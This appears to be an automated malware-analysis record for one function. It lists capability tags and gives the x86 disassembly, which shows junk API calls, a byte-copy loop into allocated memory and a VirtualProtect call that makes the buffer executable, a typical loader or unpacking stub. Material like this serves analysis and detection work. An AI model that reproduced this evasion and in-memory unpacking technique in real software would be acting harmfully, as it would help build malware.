Function at 0x402b6d
Capabilities:
Allocate or change rwx memory
Extract resource via kernel32 functions
Get common file path
Get hostname
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x214c
call fcn.0040cce0
push ebx
push esi
xor esi, esi
cmp dword [0x2a9f420], 0x5b1
push edi
jne 0x402c1c
push esi
push esi
lea eax, [esp + 0x160]
push eax
push esi
push esi
call sub.USER32.dll_DdeQueryStringA
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
xor eax, eax
mov word [esp + 0x14], ax
lea edi, [esp + 0x16]
stosw word es:[edi], ax
lea eax, [esp + 0x3c]
push eax
push dword [esp + 0x18]
lea eax, [esp + 0x560]
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x2c]
push eax
call dword [sym.imp.ole32.dll_StringFromIID]
push esi
push esi
call fcn.004031e9
push esi
call fcn.004031d3
add esp, 0xc
push esi
call fcn.0040324c
mov dword [esp], esi
call fcn.00402810
fstp st(0)
push esi
call fcn.004034fc
add dword [0x2a9f420], 0x1134b
push dword [0x2a9f420]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [esp + 0x38]
push ecx
push 0x40
push dword [0x2a9f420]
mov dword [0x2a9e374], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edi, edi
cmp dword [0x2a9f420], esi
jbe 0x402c99
cmp dword [0x2a9f420], 0xa8
mov eax, dword [0x2a9f424]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x2a9e374]
mov byte [ecx + edi], al
jne 0x402c90
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteTimerQueue]
inc edi
cmp edi, dword [0x2a9f420]
jb 0x402c56
xor ebx, ebx
mov eax, dword [0x2a9f420]
add eax, ebx
cmp eax, 0xe
jne 0x402d46
push esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_SetKernelObjectSecurity]
push esi
lea eax, [esp + 0x95c]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push esi
push esi
lea eax, [esp + 0x560]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointA]
push esi
push esi
lea eax, [esp + 0x1160]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
xor eax, eax
mov word [esp + 0x18], ax
lea edi, [esp + 0x1a]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push esi
stosw word es:[edi], ax
lea eax, [esp + 0x15c]
push eax
push esi
lea eax, [esp + 0x24]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDateFormatA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push esi
push esi
lea eax, [esp + 0x1960]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
push esi
push esi
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
inc ebx
cmp ebx, 0x39621
jl 0x402c9b
call fcn.00402a73
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x26
jne 0x402d6a
call fcn.00402b53
inc edi
cmp edi, 0x6753f
jl 0x402d5a
push 0x7b
pop ebx
cmp dword [0x2a9f420], 0x86
jne 0x402dd5
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceW]
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
xor eax, eax
mov word [esp + 0x28], ax
lea edi, [esp + 0x2a]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
xor eax, eax
mov word [esp + 0x18], ax
lea edi, [esp + 0x1a]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x2c]
push eax
lea eax, [esp + 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_TzSpecificLocalTimeToSystemTime]
push esi
lea eax, [esp + 0x195c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
cmp dword [0x2a9f420], 0xf
jne 0x402dea
push esi
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
dec ebx
jne 0x402d76
call fcn.0040282f
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret